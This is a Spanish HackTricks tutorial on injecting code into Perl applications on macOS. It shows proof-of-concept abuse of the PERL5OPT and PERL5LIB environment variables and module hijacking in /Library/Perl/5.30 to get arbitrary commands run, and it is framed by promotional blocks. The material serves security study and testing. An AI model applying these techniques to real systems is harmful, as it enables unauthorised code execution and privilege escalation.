# Inyección de Aplicaciones Perl en macOS
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
## A través de las variables de entorno `PERL5OPT` y `PERL5LIB` Usando la variable de entorno PERL5OPT es posible hacer que perl ejecute comandos arbitrarios.\ Por ejemplo, crea este script: {% code title="test.pl" %} ```perl #!/usr/bin/perl print "Hello from the Perl script!\n"; ``` {% endcode %} Ahora **exporta la variable de entorno** y ejecuta el script **perl**: ```bash export PERL5OPT='-Mwarnings;system("whoami")' perl test.pl # This will execute "whoami" ``` Otra opción es crear un módulo Perl (por ejemplo, `/tmp/pmod.pm`): {% code title="/tmp/pmod.pm" %} ```perl #!/usr/bin/perl package pmod; system('whoami'); 1; # Modules must return a true value ``` {% endcode %} Y luego usar las variables de entorno: ```bash PERL5LIB=/tmp/ PERL5OPT=-Mpmod ``` ## A través de dependencias Es posible listar el orden de la carpeta de dependencias de Perl en ejecución: ```bash perl -e 'print join("\n", @INC)' ``` Lo siguiente devolverá algo como: ```bash /Library/Perl/5.30/darwin-thread-multi-2level /Library/Perl/5.30 /Network/Library/Perl/5.30/darwin-thread-multi-2level /Network/Library/Perl/5.30 /Library/Perl/Updates/5.30.3 /System/Library/Perl/5.30/darwin-thread-multi-2level /System/Library/Perl/5.30 /System/Library/Perl/Extras/5.30/darwin-thread-multi-2level /System/Library/Perl/Extras/5.30 ``` Algunas de las carpetas devueltas ni siquiera existen, sin embargo, **`/Library/Perl/5.30`** sí **existe**, no está **protegida** por **SIP** y está **antes** de las carpetas **protegidas por SIP**. Por lo tanto, alguien podría abusar de esa carpeta para agregar dependencias de scripts allí, de modo que un script Perl de alto privilegio las cargue. {% hint style="warning" %} Sin embargo, ten en cuenta que **necesitas ser root para escribir en esa carpeta** y hoy en día obtendrás este **aviso de TCC**: {% endhint %}
Por ejemplo, si un script está importando **`use File::Basename;`** sería posible crear `/Library/Perl/5.30/File/Basename.pm` para hacer que ejecute código arbitrario. ## Referencias * [https://www.youtube.com/watch?v=zxZesAN-TEk](https://www.youtube.com/watch?v=zxZesAN-TEk)
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: * Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).